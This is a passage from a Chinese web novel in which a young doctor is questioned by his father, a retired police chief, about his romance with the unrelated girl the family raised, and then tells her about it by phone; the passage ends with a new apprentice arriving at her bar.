这副没眼看的没好气样子搞得江问舟一阵讪讪,同时也对自己心里的猜测变得更加确定。 甚至已经开始想齐眉知道这事以后,会是什么样的表情。 肯定特别震惊,而且很慌,整个人都宕机了,只会抓着他问:“怎么办?怎么办!怎么办?!” 他到时该如何安慰她呢? 江问舟踏入家门,趁换鞋的动作,顺便将西西放了下来,看它抖抖毛轻车熟路地往屋里跑,就笑笑。 转眼就见江眀琮正面无表情且目不转睛地看着他,目光里充满了探究和欲言又止,江问舟不敢细想他到底是不是在生气,下意识地收敛起笑容。 说实话,江眀琮不苟言笑的时候,江问舟还是有些怵他的。 问就是出于儿子怕老子的本能:) “爸……” “洗手吃饭,有事吃完饭再说。”江眀琮立刻打断他还没开始说的话。 他倒是想立刻就审他,但人家上了一天班,怎么也得先吃饱了再说别的吧? 毕竟是亲儿子,他也不能不让人家吃饱饭啊。 江问舟都到了嘴边的话,又一下咽了回去,抬手蹭蹭鼻尖,有些拘束地往厨房走。 晚上有三菜一汤,手撕鸡、白灼虾、白灼菜心和牛肉丸汤,江眀琮不善厨艺,但做这种简单的还是没问题的。 难得俩人吃饭时安安静静,一句话都不说,气氛安静得有种让人窒息或心慌的沉默。 江问舟不太习惯这样,但又忍不住有点庆幸。 起码不用在吃饭的时候回答一些……难以回答的问题,以至于最后连饭都吃不好。 他一边吃饭,一边在脑海里预演一会儿可能出现的场景。 江眀琮一定会问他和齐眉是什么关系,什么时候开始的,为什么不跟家里说,会回容城工作是不是和她有关…… 预设了几个问题之后,他忽然想到,江眀琮怀疑他已经有一段时间,为什么是现在问?偏挑一个孙茂芸不在家、齐眉也上班的工作日。 等等,老妈怎么突然就跟朋友出去旅游了,之前一点都没听她透露过有这个计划,不会是被他爸故意支出去的吧? 想到这里江问舟忍不住抬头看了一眼江眀琮。 江眀琮察觉他的目光,也回看过去,父子俩的视线在半空中交汇,沉默地僵持片刻,最后是江问舟率先垂下眼去。 他在心里犯嘀咕,不知道江眀琮到底什么意思。 大概是因为心绪复杂,这顿饭江问舟吃得有些没滋味,连饭后江眀琮说冰箱里有西瓜,他也摇摇头说不想吃。 倒是很自觉地把碗都收走了,洗碗的时候从厨房的窗户往外看,看见江眀琮正拉着水管浇花,年年欢天喜地追着水玩,金金则是站得远远的。 洗完碗出来,江眀琮也刚浇完花回来,父子俩隔着客厅的沙发茶几不远不近地对视片刻,江眀琮才道:“走啊,去书房喝茶。” 他已经尽量缓和语气想表现得随意甚至随和点了,但听起来却依旧紧绷,仿佛在努力压抑着自己的情绪。 江问舟抿抿唇,点了一下头,往书房走的时候路过沙发,他顺手捡起扔在沙发上的逗猫棒,背起手,轻轻抖着逗猫棒,将金金吸引过来。 年年见姐姐去追逗猫棒了,立刻也跟上去,最后父子二人和一猫一狗陆续进了书房。 江眀琮的书房很宽敞,一头是书桌书柜,一头是沙发和茶桌,能用得上的、该有的东西全都有,从落地窗往外看,是后面院子里的小菜地和鸡舍,昏黄的灯光透着宁静和恬淡,外面还有细微的虫鸣声传进来。 这就是搬到大房子的好处,以前在宣化路的老房子,书房是小小一间,东西一多就显得拥挤。 热水壶发出呜呜的蜂鸣,水开了,江眀琮一言不发地洗茶泡茶,金黄的茶汤从公道杯倒进紫砂的品茗杯里,江问舟伸手接过,用唇沾了沾。 还没尝到茶是什么味道,就先听到江眀琮说:“说吧,老实交代。” 声音冷淡,江问舟抬头看过去,看见他神色也严肃,盯着他的眼神里藏着锋锐,像是要化身探照灯,把他的老底全都探个一清二楚。 他眨眨眼:“……交代什么?” 江眀琮一拍桌子:“你自己干了什么你不知道?” 江问舟跟个复读机似的:“……知道什么?” 江眀琮瞪他,声音也随即变得严厉:“说不说?非得我揍你是吧,我是看你妈不在家,才给你这个坦白从宽的机会,别给脸不要脸!” 说完还重重拍一下桌子,以示震慑。 这语气这态度,换个人,只要心虚的,八成就被诈出来点什么了。 不说远的,就说他们家,齐眉被这么一吓,保准打哆嗦,问什么说什么。 江问舟以前也怕,可今时不同往日,这几年他实在锻炼了许多,心态已经比以前好得多得多。 “亲父子之间就不要用这种审讯技巧了吧?”他喝完杯子里的茶,将茶杯放回桌上,“有什么你直接问行不行?大晚上的没必要搞什么预审……” “那你还不老实?!”江眀琮打断他的话,狠狠瞪着他,“说,你和西西是怎么回事?” “我和西西怎么了,好好的啊,也没吵架。”江问舟神色淡定,还反问他,“你是听谁说了什么吗?” 江眀琮审视着他,半晌才道:“上个周六,中午的时候,你在哪里?和谁在一起?” 江问舟一愣:“……上个周六?” 见他又当复读机,江眀琮下意识想骂人,可还没开口,江问舟就反应过来了:“那天西西下夜班,我去接她,因为要去复诊,但和我同事约的是下午,所以中午的时候回去接金金和年年,金金要去打疫苗。” 他说完停下来,看着江眀琮。 江眀琮等了几秒,没听他继续说到自己想知道的信息,便撩起眼皮看他一眼:“就这样?” 江问舟眨眨眼:“就这样。” 顿了顿,又反问:“还是说你想知道我们中午吃了什么?” “少在这里放屁!”江眀琮直接骂了一句,又一拍桌子,声音更加严厉,怒气冲天的,“我问你,你和西西是不是去了小区对面那家便利店?” 他觉得江问舟的态度很有问题,一点都不老实,回答都是在避重就轻兜圈子,怒气蹭一下就上来了。 金金和年年这次终于被吓到,全都跑到江问舟身边,年年紧贴着他的腿,尾巴都耷拉下去,嘴巴也闭得紧紧的,微笑小狗变成了严肃脸。 金金则是干脆往他背后躲起来,显得非常躁动不安。 江问舟一边伸手把它从背后拉出来,一边对他爸抗议:“家里又不是你们单位的审讯室,别一直拍桌子拍凳,吓着它们俩,到时候你可别问为什么它们不跟你亲。” 江眀琮一噎。 “再说,我和西西去便利店怎么了,便利店是什么不良场所吗?”江问舟一字不顿,还嗤了声,反问他,“你听谁说我们去便利店了?” 江眀琮说:“这你别管,你们去便利店买了什么?” “你不说,我也不说。”江问舟立刻表示拒绝沟通,“怎么能只是你问我,我却一点信息都得不到?我可不真的是你的嫌疑人,要不你还是让我妈回来吧。” 都不用问,他现在也能基本确定,他妈这个时候出去旅游,多少跟他爸有点关系,很可能就是被他支出去的。 就像他说的,他并不是嫌疑人,也不怕江眀琮的恐吓,江眀琮又不能真的揍他,于是不管他怎么问,江问舟只一味拿逗猫棒哄着金金。 最后确实是江眀琮先妥协,说是上次介绍他和自己侄女相亲的陈阿姨,那天恰好路过那边,又恰好就看见了江问舟和齐眉。 江问舟听了一阵无语,怎么又跟陈阿姨有关。 他忍不住嘀咕:“上次派出所的事也是陈阿姨跟你们说的吧?怎么哪儿都有她,以前怎么没发现……” “让你交代问题,不是让你点评别人!”江眀琮说着又要拍桌子,但看一眼被他抱在怀里正瞅着自己的金金,这巴掌又拍不下去了,改为使劲戳戳桌面。 “你陈阿姨说,看见你和西西有说有笑勾肩搭背地进了便利店。”他说着斜睨一眼江问舟,警告他,“别想着撒谎说不是,有照片的,我看得一清二楚。” 江问舟一噎,抿了抿唇。 他叹口气,点点头承认道:“是,我和西西是去了便利店,她说家里的雪糕没有了,去补点货。” 江眀琮看他,问道:“只买了雪糕?” “不然呢,你觉得还能买什么?”江问舟哭笑不得地反问。 倒是轮到江眀琮一噎,盯着他看了起来。 那目光里充满了疑惑的探究和打量,仿佛是对他感到十分陌生。 然而事实也正是如此,尽管江问舟回了容城工作,也经常回家吃饭,可这半年多以来,江眀琮和他的相处其实谈不上很多,父子谈心更是没有。 诚然,许多人家的父子都是这样的相处模式,孩子越是成长,越是学了满身本领独立自由,就越是会打破对父母崇拜濡慕的滤镜。 最终因为一方年渐老迈,被时光抛弃,另一方正当盛年,迎着阳光奔跑,而变得越行越远。 就像江眀琮发现,他已经不了解、看不透这个儿子,无法从他言笑晏晏的表情里看懂他的真实想法了。 就像他想不通,怎么会喜欢上和自己从小到大一起生活,当成亲妹妹一样的人呢? 喜欢上自己的妹妹,不会觉得很奇怪吗?难道心里一点都不会膈应? 江眀琮实在不明白江问舟是什么想法,只好问:“说说吧,你和西西到底是怎么回事,什么时候开始的?” ————— 江问舟将金金放在腿上,一下又一下抚摸着它的长毛,心里想的是今天还没给它梳毛,脑海里却迅速闪回和齐眉在大学里的点滴。 那些暧昧拉扯和甜蜜往事最后都只变成一句:“挺久了。” 江眀琮微微一愣,看着江问舟脸上的笑,忽然想起上次战友纪达过来,他们聊天时,江问舟说到大学交往过一位女友,后来因为关于未来的规划没谈拢,所以分手…… 他心里顿时狠狠一跳,这位当时妻子还觉得可惜的未能谋面的“前未来儿媳”,不会就是西西吧? 江眀琮觉得自己的呼吸都变得有些急促,沉声问道:“挺久是多久?说清楚一点!” “什么时候开始的?具体到年月日,谁主动的?持续了多久?还有……” 他抬眼,沉沉的目光紧盯着江问舟:“你们关系都到哪一步了?” 这些问题都在江问舟刚才吃饭时在脑海里预演的范围之内,所以他回答得非常流畅:“西西考研结束之后才在一起的,谁主动……你就当是我主动的吧,是我先说的。” 至于关系到了哪一步,江问舟笑笑,反问他:“你最近不是一直怀疑我不是在自己家住的吗?” 江眀琮听了呼吸都快停了,真是要命啊,他怎么、怎么能…… “……那是你妹妹!”缓了好半天,还是受不了,江眀琮一整个破防的状态,怒冲冲道,“你怎么能对你妹妹做那样的事?不怕被人笑话吗?!” “笑话?有什么可笑话的。”江问舟抬眼,撸猫的动作一刻不停,脸上神情安定之间甚至有一丝疑惑,“我和西西没有血缘关系,不是吗?妹妹,她是我亲妹妹吗?” 江眀琮一时语塞,他想说虽然你们没有血缘关系,但我和你妈妈一直当她是亲生女儿啊。 可是江问舟没有给他这个机会说出口,继续道:“她不是我的亲妹妹,我们之间既没有父母基因决定的兄妹关系,也没有法律赋予的兄妹关系,我们只是一起长大,情同兄妹。” “可是那样朝夕相处的青梅竹马,本来就会很容易感情变质,近水楼台,日久生情,有什么不对吗?”他反问江眀琮,“会被笑话的点在哪儿呢?” 江眀琮定定地和他对视,从他的眼中看到了似乎有些执拗的坚持,不仅心里一惊。 他几乎是本能地意识到,这件事不管是他,还是妻子,恐怕都没有办法阻止了。 “你们家舟舟还挺有毅力,说要做二十个引体向上,做十个做不下去了,让他下来,算了吧,死活不肯,吊着歇一会儿又开始,非得做完不可。” 某一年小小的江问舟去他单位玩时,当时队里同事的笑言又在脑海深处浮现。 他从小就很有毅力的,只要是他认为正确、该做到的事,他都会全力以赴、坚持不懈。 江眀琮突然就不知道该说什么,哑然半晌才问:“……你到底怎么想的呢?就那么……不在意周围人的看法?” 他说完觉得喉咙有些干涩,端起茶杯喝了一口。 空调的凉风已经将小小品茗杯里的茶汤吹得凉透,喝进去只觉得心都有些发慌。 而且好像并不能缓解喉咙里的那股干涩。 “我当然在意周围人的看法,但我不活在他们的目光里。” 他听到儿子的声音,抬眼重新向他望过去,在他的眉眼间看到熟悉的影子。 真不愧是他江眀琮的儿子。他脑海里忽然冒出这样一个念头。 谁年轻时没有这么轴过啊。 江问舟迎着他的目光,声音镇定又随意:“你记不记得上一次我们在家一起聊天,就是你说起千禧年时你办过的一个案子,岳母和女婿……那什么的,当时西西还说了一个例子,是她同事讲的八卦,记得么?” 江眀琮没吭声,但江问舟看见他眼神动了一下,便继续说了下去:“当时她还问妈,要是自家亲戚里有类似的事,她怎么看,妈说,要是年纪相仿,就算是按照同族辈分算长辈小辈,只要不犯法,别人最多议论几句,他们自家觉得没所谓就行,做人就得脸皮厚。” 他把这番话说得仔细,江眀琮立刻便明白过来,当时这俩倒霉孩子就已经在试探他和妻子了,难怪他当时就觉得哪里不对劲! 他顿时就气笑了,忍不住冷哼一声。 哼完觉得实在不高兴,又哼了一下。 接着又哼了第三下,同时还点点头。 好好好,你们俩这么玩是吧…… 江问舟嘴角一抽,声音顿了一下,才继续道:“我的老师和一位同事知道我和西西的关系,陆阳的爱人也知道,他们都没有觉得有什么问题,这个世界上根本没有那么多人会当我们的观众。” 人人都有自己要过的日子,关注点不可能一直放在别人身上,哪怕有那么零星几个人会对他们指手画脚,又怎么样呢? “我不可能为了那一点闲言碎语,就放弃自己爱的人,和我想要的生活。” 他说到这里,看一眼江眀琮,忽然抿住唇,似乎有些纠结,露出一抹欲言又止的神色。 江眀琮没理会他的表情,抓住机会哦了声,点评道:“只有几个人知道。” 大概的意思还是不同意,你看,只有几个人知道。 甚至是,你只敢让寥寥几人知道,说明你也知道你们这是不太对的。 江问舟心里那点犹豫立刻就飞了,哼了声:“是因为西西不愿意,要是她答应,我明天就敢登报,在申城时我身边所有同事同学都知道我们是男女朋友,她称我的父母是干爸干妈。” 但没有任何人觉得不对劲,干亲的关系说是沾了个亲字,但其实就是很亲密的朋友而已,说一句通家之好懂的都懂。 父母是这样的关系,那他们也不过是很早就认识、关系很好的青梅竹马,成为情侣真是让人毫不意外,甚至一点都不觉得新鲜。 “西西不同意是因为害怕你们不同意,这也是我和她前两年分开的最主要原因,她怕你们觉得丢脸,怕你们对她失望,怕失去这个家。” 江问舟看着他,目光变得有些锐利,“我以前一直觉得,她是因为失去得太多,太过珍惜现在的一切,才会这么小心翼翼和忐忑不安,但是现在我有了一点不同的想法。” “她的性格是受到了你和妈的影响,你们把对外界目光和评价的在意,潜移默化传导给了她。”江问舟直言,“上次西西进派出所,妈那么生气的原因,一是觉得西西出事了竟然不跟家里讲,二是因为陈阿姨跟她说的话,说她只顾着西西不管我,又说她这样了都没管好西西,她觉得非常委屈。” 江问舟当然觉得孙茂芸应该委屈,因为她已经付出得够多,对方却那样点评她对两个孩子的教育方式和心意。 可是,“我们家里的人,还有很多亲近的人,都认可你和妈对我们俩的付出,但是妈还是会某个人的几句话难过,即便这个人只是一个普通熟人,这说明她很在意外界对自己的评价,很害怕别人会说她对两个孩子有哪里不公平,哪里做得不到位。” 可是这有什么用呢?人家说完,拍拍屁股走了,将这事抛到脑后,听的人却在这儿难过内耗,这对吗? “她更应该在意的,是我和西西的感受,别人说什么,其实都不重要。我们自己心里会有一杆秤,要是你们做得不好,西西会这么亲近你们吗?你们对她不好,她会把这里当家吗?” “不止我妈这样,其实你也差不多,西西爸妈留下的存款和后来西西作为烈士子女的补贴,你们都要叫上几个叔叔阿姨做见证,每隔一段时间要将余额和资金用途告知大家,为什么?不就是怕别人说你们亏待了她,怕别人说你对不起战友对不起兄弟,怕外人戳我们家的脊梁骨。” “可是到现在,西西也大了,你和妈的责任也尽完了,你们都有权利选择自己的人生,别人还有什么可说的。” 他们当然是真心疼爱齐眉,只是疼爱得没有那么松弛。 江眀琮心里一震,想说什么,却在张口时发现自己无言以对。 全中。 江问舟说的每一句,都曾经出现在他和妻子曾经的夜话中。 “我当然理解你们的做法,没有办法,众口铄金的事,谁也不想经历。”江问舟看着父亲突然有些无措的神情,又有些不忍了,语气立刻就缓和下来,“尤其是你所处的位置,怎么谨慎都不为过,无非牺牲一点隐私,累一点,那都是不得已而为之。” 一不小心走错哪怕一步,都有可能坠入深渊,不得善终。 江眀琮能从市公安局局长这个位置上全身而退,和他一贯的谨慎小心分不开。 只是,“你和妈清白谨慎了大半辈子,也奉献了累了大半辈子,好不容易退休,为什么不……随心所欲一点呢?” 其实江问舟是想说他们完全可以自私一点,但话到嘴边又临时换了个词。 但他是真的发自内心觉得,自私的人确实会过得舒服许多。 不管是齐眉,还是江眀琮和孙茂芸,都是太在意除了自己之外的人,才会束手束脚。 可是别人怎么看,和我们的生活有什么关系呢? “日子是自己过的,好不好只有我们自己知道。”江问舟努力给他爸洗脑,“在没有违反法律和道德的前提下,我们尽量让自己过得舒服一点,很应该吧?我和西西……” 他突然顿了一下,想起来:“西西之前跟我说,咱们家小区那儿,以前有人背地里说我们家坏话,说什么你和妈养着西西,是想当童养媳?” 说完没等江眀琮反应过来,他就冷笑了一声:“说真的,那破小区什么时候拆迁?到时候咱们家可不兴选什么原址回迁啊。” 江眀琮瞪他一眼。 江问舟就有些做作地露出一个委屈的表情:“所以你说在意他们的看法干什么呢?什么都没做,他们也能揣测上,至于那些叔叔阿姨们……” 他说到这里顿了一下,仔细观察江眀琮的神色。 见他没露出什么不赞同或者不悦,这才继续道:“西西爸妈不止你一个战友和朋友,他们为什么不把西西接过去?是我们家条件最好,还是觉得这是你应该做的?说句不好听的,他们所有人、包括陈阿姨,都是站着说话不腰疼罢了。” 照顾别人的孩子有多难,他们能不知道?既然自己不愿意做,那就不该去挑剔做了的人,你行你上呗,一分力没出,出于避嫌主动让你们做个见证,你们倒真把自己当监委了,这对吗? 江眀琮这时才皱起眉,淡淡地说了句:“不要议论长辈,就事说事。” 这不就是在就事说事?江问舟扯了一下嘴角,倒确实没继续说下去。 江眀琮看他一眼,又给他倒了杯茶,这才道:“给你一次机会,说服我。” 他的声音已经恢复平静,似乎接受了这个事实。 江问舟笑笑,不接受还能怎么样呢?他就是看准了这一点。 总要有人先退一步的,这次是他的父亲。 “您和妈对我、对西西的期望是什么?”江问舟的态度一下就变得郑重且恭敬,“是期盼我们名成利就家财万贯,还是安稳幸福小满胜万全?” 不等江眀琮回答,他就直接往下说了,“估计还是后者吧,为人父母,总觉得孩子还是不要吃自己吃过的苦比较好,平平安安,稳稳定定的过一生。” “工作也好,婚育也罢,你们希望我们能够顺利、幸福、安稳,家庭和睦、夫妻恩爱,我和西西在一起就可以直接达成这个目的。” 他捏着耳朵笑着问:“您也*不想我以后娶了别人,对方发现我和自己的妹妹有过这样的关系,然后闹得家无宁日吧?” 江眀琮眼皮一跳。 这几乎是可预见的鸡飞狗跳的未来,只有成全这俩倒霉孩子才能解决。 江眀琮无语得要死,突然不想听他继续演讲了。 “你先回去,我考虑考虑。” 江问舟耸耸肩,应了声好,说:“妈不在家,我把金金留给你吧,年年我带回去,明天我要值班,晚上没办法去接西西收工。” 顿了顿,他又忍不住问:“我妈怎么突然间就去旅游了?去几天?” “去一个星期。”江眀琮淡淡应道,只回答了一半。 但江问舟已然得到全部答案,点点头站起身往外走。 走到门口忽然又停下来,回头对江眀琮有些无奈道:“您别去找西西,她还没太……做好心理准备,遇到这事手忙脚乱的,肯定害怕得吃不下睡不着。” 江眀琮撩起眼皮看他一眼,把金金抱过来,一个字都没说。 但江问舟知道他这是答应了,便招呼年年:“走了,我们回去,姐姐在家陪陪爷爷。” 出门时已经是晚上十一点,这一场父子交锋,或者说是江问舟单方面的唱念做打,竟然持续了两个小时。 回去的路上他接到齐眉的电话,只跟她说了孙茂芸出去旅游,他把金金送回去陪江眀琮,没有告诉她今晚到底发生了什么事。 “是不是可以休息了?早点睡,别忘了吃药。” 齐眉有些乖巧地应了声好,跟他说了句开车小心,就把电话挂了。 但接下来却一直觉得心神不宁,总觉得自己忽略了什么。 这种感觉愈演愈烈,叫她根本睡不好,迷迷糊糊地醒了好几次。 好不容易感觉真的有点困意,耳边又响起了闹铃的声音。 第68章 第六十八章(二合一)到时候我们挨打…… 前一晚没睡好,加上心里总有种心慌感,齐眉不仅精神不太好,还有些惴惴不安。 怎么会有这种感觉,难道…… 难道是我的心脏在发出警报,提醒我,下一步我就要猝死啦?! 这个念头一出现,齐眉就觉得自己心慌的感觉更加明显了,而且还有些气短。 于是她赶紧和接班的刘医生她们道别,匆匆赶回家。 等打开家门,她习惯性地喊了声:“金金,年年,我回来啦!” 却发现根本没人来迎接她,这时才惊觉家里静悄悄的。 齐眉愣了一下才反应过来,金金回村了,年年一大早也被江问舟送去了宠物店,家里一个喘气的都没有,可不就静悄悄嘛。 她松了口气,这样也好,利于她睡觉。 一时什么也不吃,喝了杯水就直接去洗澡,洗完澡出来往床上一倒,卷着被子睡了过去,连中途江问舟来过电话都没听见。 江问舟是在等病人进诊室的空档,看时间快到中午了,才给齐眉打的电话,但却没人接。 他不知道齐眉是还没回家,还是在补觉,想了想,打开了家里的监控。 监控本来是为了看金金和年年,所以安装在阳台的角落,这样离它们最喜欢待的地方最近,同时也可以看到客厅和餐厅。 他看见原本放在茶几上的齐眉的水杯不见了。 看来是已经回家了,估计是在睡觉,没听见手机铃声,江问舟不由得松了口气。 周四是全天门诊,对于他来说就意味着看不完的病人。 中午忙到快一点才把上午的号都看完,回科里随便吃了几口饭,又被叫去会诊,回来时已经两点多。 这时再给齐眉打电话,却发现仍旧是没人接。 江问舟有些担心,发信息给宠物店的老板,问年年有没有被接走。 对方回答他:【没有诶,年年还在我们这儿,它妈妈今天还没下班吗?】 都是熟人了,对方也知道齐眉的工作性质,大概会在什么时候来接狗。 江问舟就说应该是有些事,会晚一点再去接它。 回完信息,他又去看了一眼家里的监控,摄像头可见范围内依旧是没有人影,客厅里安安静静的,和他上午看到时别无二致。 一时竟然忍不住想,要是卧室里有摄像头就好了,看一眼床上有没有人就知道了。 念头一出,他又立刻摇摇头晃走,卧室里有摄像头也太吓人了,不合适不合适。 一边心里暗自嘀咕,一边拿起听诊器又匆忙往门诊走。 齐眉不知道江问舟担心了她快一天,一觉睡到下午差不多五点,睁眼时发现周围的光线似乎比睡前暗了一点。 她又闭上眼,觉得脑袋基本恢复清醒,但是心里那种心慌的感觉却没有完全消失。 像是保存在她身体里的某种阴影,提醒她接下来可能会发生一些不太好的事。 但她一时又想不到能发生什么事。 她叹口气,往旁边一翻,碰到了抱枕,立刻就伸腿去把它夹住,然后将脸埋进被子里,又一次重重地叹口气。 算了算了,还是不要提前贷款焦虑了,等事情真的发生再说吧,再说了…… 谁说真的是有不好的事发生才这样?说不定是她心脏不舒服呢,诶,不对,心脏不舒服不就是不好的事? 齐眉感觉自己的脑筋都开始打结了,忍不住有些自闭。 这时再继续睡明显不太可能,为了自己的小命着想,她犹豫片刻,还是决定今晚不去店里了。 得跟佟林他们说一声。 齐眉眯着眼在枕头底下来回摸索一遍,在角落里摸到手机,拿过来解锁一看,好几个未接来电,都是江问舟打来的。 有早上的,也有中午的,还有几条未读信息,点开一看,基本都是他在问她回家没有、是不是去睡觉了、还没醒吗之类。 她先给佟林发信息说有些身体不舒服,今晚就不过去店里了,顺便问问音乐节集市的摆摊申请提交没有,对到时候带去售卖的酒单有没有什么想法。 发完这边的信息,退出去,点开江问舟的头像,上去就是一串困得眼睛都睁不开的表情包。 跟他撒娇:【我今天特别超级极度犯困,昨晚没有睡好[大哭]我觉得心慌,但没有气促,是我心脏坏了,还是预感到什么不好的事发生啊[大哭]】 【哥!!!我要不要去做个心电图啊!!!】 发完看看时间,才下午五点多,离天黑还早着呢,吃饭…… 她顿了顿,想起年年来,立刻腾一下从床上坐起,急忙忙洗脸换衣服梳头,拿上手机就匆匆出门去接狗。 到了宠物店,店长还跟她说呢,“还以为你今天忙得来不及接它了,正准备想办法哄哄它,幸好你来了,不然今晚它又要郁闷了。” 虽然齐眉以前就经常将年年就在这儿过夜,但不代表年年喜欢,它确实对宠物店习惯了,也接受了这里的哥哥姐姐,可每个不能回家的晚上,它都会变身忧郁小狗,店长或者值班店员都得想理由哄它。 齐眉有些不好意思地道谢,没好说自己是睡了一天。 聊了几句就带着年年走了,路过一个卖熟食的小店,下车买了点烧肉,准备回去加点海鲜菇和青菜做个烧肉汤。 江问舟过了六点半才下门诊,回科室路上看到齐眉回复的信息,想了想,干脆去楼梯间给她打个电话。 听见手机铃声,年年立刻跑去厨房,冲着齐眉汪了一声。 “知道了知道了,别吵。”齐眉连忙放下手里的海鲜菇,一边往围裙上擦手,一边出去拿手机。 看见来电显示是江问舟,便直接开了免提,一面问他:“你下门诊啦?” 一面回到厨房,将手机放在一旁,继续准备晚饭。 听见水龙头的流水声,江问舟笑着问了句:“这是在准备开店前的准备,还是做什么?” 心里想的却是,一会儿你怕是没心情干活喽。 “没有啊,准备煮点烧肉汤,没去店里。”齐眉应道,又跟他不高兴,“我说我不舒服,你也不关心我。” 刚要生气,就听江问舟问道:“什么时候开始不舒服的,有没有什么诱因?” 说实话,还真没有,齐眉就是很突然的觉得不安,而且是昨晚跟江问舟通完电话后出现的。 江问舟听了忍不住沉默。 他其实很相信心有灵犀这种事的。 “那个、西西啊……”他有些犹豫地开口,“有件事我要告诉你,你是想现在听呢?还是等明天我下班了回去,当面跟你说?” 齐眉心里一顿,立刻就忘了还要吐槽他的事,问道:“坏事吗?” 江问舟像是一时被问住了似的,半晌没吭声。 “……这、这么难回答吗?”齐眉顿时有些慌,“到底是什么坏事啊?呃……你丢工作啦?” 原谅她一时半会儿实在想不出能有什么坏事。 江问舟被她这么一打岔,倒是有些哭笑不得:“嗯……说是坏事也可是,但说不坏也确实不坏,至少我觉得算是好事。” “吓死我了……”齐眉呼地松口气,“那你说嘛,趁现在想起来,万一明天忘了怎么办?” 说着迅速将洗干净的海鲜菇装进沥水篮里,将砂锅架起,打起燃气灶的火。 听到她这边的动静,江问舟忍不住轻轻叹口气。 但愿她一会儿还有心思吃饭吧。 “我昨晚回家跟爸吃饭,吃完饭跟他聊了一会儿,他……”江问舟啧了一下,“他盘问了我们的关系,我都跟他说了。” 他已经尽量将声音放得平静,用轻描淡写的语气说起这件事,齐眉还是忍不住一愣。 脑子嗡的一下,霎时间一片空白。 她半晌没吭声,江问舟甚至觉得连她的呼吸声都听不见了。 过了一会儿,他才清了一下嗓子,出声问道:“西西?还在听吗?” “……你说什么?”齐眉被他的声音惊醒,下一秒又发出一阵尖叫,“啊!我的油!” 砂锅里已经倒了半锅油,甚至开始冒烟。 她彻底回过神,手忙脚乱地关火,要找东西将倒多的油再倒出来。 一不小心就将放在旁边的不锈钢小盘子扫下了台面,掉在地上发出乒铃乓啷的声音,年年跑过来看,关切地吠了一声。 “哎呀!别吵!”齐眉正烦着呢,干脆把它赶了出去,还将推拉门给拉上了。 听着她这头凌乱的动静,江问舟有些无奈地叹口气。 想安抚两句,又不知道该说什么,只好等齐眉先开口。 齐眉将多余的油转到油壶里,也没心思做什么晚饭了,反正这事要是没弄清楚,这饭绝对吃不下。 “干爸……问你什么了?”她有些艰难地开口,听见自己的心跳声骤然加快。 咚咚咚,撞得她胸闷气短,甚至有些喘不上气。 背后歘一下就冒出一层冷汗来,齐眉觉得自己上衣的后背在短短不到一分钟的时间里,就变得湿黏,贴在了皮肤上。 江问舟似乎感觉到了她紧绷的情绪,立刻将昨晚和江眀琮之间的谈话一五一十地告诉她。 齐眉在他的复述里情绪渐渐平静下来,终于发现,他的声音非常平静,甚至算得上轻快。 那也就意味着,结果应该是好的,至少,是他想要的。 等听到江问舟说,他觉得干爸干妈和她都是太在意外人看法,所以才会过得那么累,顿时有点无语。 你最好不是在趁机吐槽我!!! “喂……”她有些无力地抗议道,“你这是干嘛……是在训你爸爸吗?” 江问舟的声音顿了顿,接着变得十分畅快:“当然不是,我只是说出了心里话而已。” 而且是藏了很久,想说很久的那种心里话,终于可以一吐为快的感觉实在是爽。 齐眉一噎,这人到底对他们的怨气是有多大! 过了好半晌她才想到要问:“干爸没问你……我们为什么、分手吗?” 江问舟的声音再次一顿:“……他没问,我主动告诉他,你担心被他们知道之后会受到反对,会让他们失望,而我想公开,这事我们谈不拢,所以分开了,他可能觉得这就是唯一原因了吧。” 也有可能是江眀琮被他的长篇大论暂时震住,一时半会儿没想到这么细节的地方。 “知道你担心什么,放心,我让他别找你,有疑问他应该会问我。”江问舟安慰她道,“那件事……他们没问咱们就当没有,要是哪天问了……再说,船到桥头自然直。” 齐眉抿抿唇,松口气的同时,又忍不住叹口气。 “……好吧。”她低声应了一句,紧接着又问,“那干妈呢?干妈那边……谁去说,也是等她自己发现吗,还是……怎么办?” 齐眉有时候对男女会有一种非常刻板的印象,就是觉得男人对很多事的容忍和接受程度会更高,更理性,更能听得进去道理,而女性在这方面就会更情绪化一点。 大抵还是受到家中两位男性的性格和处事风格影响的缘故。 她很担心孙茂芸知道这件事以后的反应。 干爸都知道了,这事还能瞒得住干妈吗? 江问舟一时语塞,显然他也还没想好要怎么跟孙茂芸讲。 他想好了理由去辩解,但却不知道该怎么开启这一场辩论。 沉默半晌,他有些不太确定地道:“要不……等爸跟她说?他应该不会瞒着妈,现在的重点是,我们要把爸拉到我们这头来,不然到时候我们挨打,谁帮我们吹枕头风?” 齐眉顿时忍不住哽咽,好家伙,你已经默认我们肯定要挨打了是吗:) ————— 孙茂芸去旅游要到下一周才回来,齐眉和江问舟先接到了宋主任家付费来当学徒的侄子。 到的那天是周六,刚好是齐眉的工作日,又正好是从T2航站楼出来,宋主任去接他,顺路就带去给齐眉认识了一下。 是个理着小平头,鼻尖上有一颗美丽青春痘,看上去有些腼腆的小男生,但眼神一看就有些倔强。 看见齐眉,没等宋主任介绍,他就九十度大鞠躬,大声:“师父好!请多关照!” 齐眉一噎:“……” 她嘴角抽抽地回过神来,连忙侧身避开,赶紧摆手否认道:“不不不,我不是你师父,你师父是我们店里的两位调酒师,晚上你就能见到了。” 顿了顿,她又忍不住伸手揪了一下他的袖子:“快、快起来……不然人家还以为、你这是在鞠躬道歉吗?” 小伙子闹了个大红脸,宋主任既觉得丢人,又觉得哭笑不得,揪着他的耳朵:“胡乱喊什么?这是你老板!” 接着又对齐眉无奈地介绍道:“小齐,这就是我那不争气的犟种侄子宋森,三木森,接下来两个月就拜托你们关照了。” “他要是犯了错,你就训他,骂他,最好能给他揍一顿!” 宋主任说得咬牙切齿,好像很期待这侄子能吃一吃苦头,见识见识人间疾苦似的。 齐眉有些好笑,“怎么会,我们这儿又不是戒网瘾学校,不兴体罚这一套,不过……” 她顿了顿,看向宋森,提前打预防针:“会比较辛苦哦,现在是旺季,我们店的生意还是不错的,比较忙,要做的事也比较多。” “都让他干,不想读书就干活!”宋主任立刻接过她的话道。 齐眉笑吟吟地点头:“有您这句保证,接下来两个月小宋同学就要军训啦。” 宋森被她笑得脸红,看她一眼就赶紧低头,像是不敢和她对视。 齐眉接着跟宋主任道:“两个月听起来长,但其实真要学东西还是时间少了,您晚上就带他去店里吧,我跟佟哥他们都说好了,晚上我哥陪你们一块儿过去。” 宋主任立刻答应,又客气了几句给他们添麻烦了之类的套话这才揪着宋森走了。 一面走还一面数落宋森,说这回可是如他所愿了,也花了大钱,要是不好好学,就别怪他们不客气了。 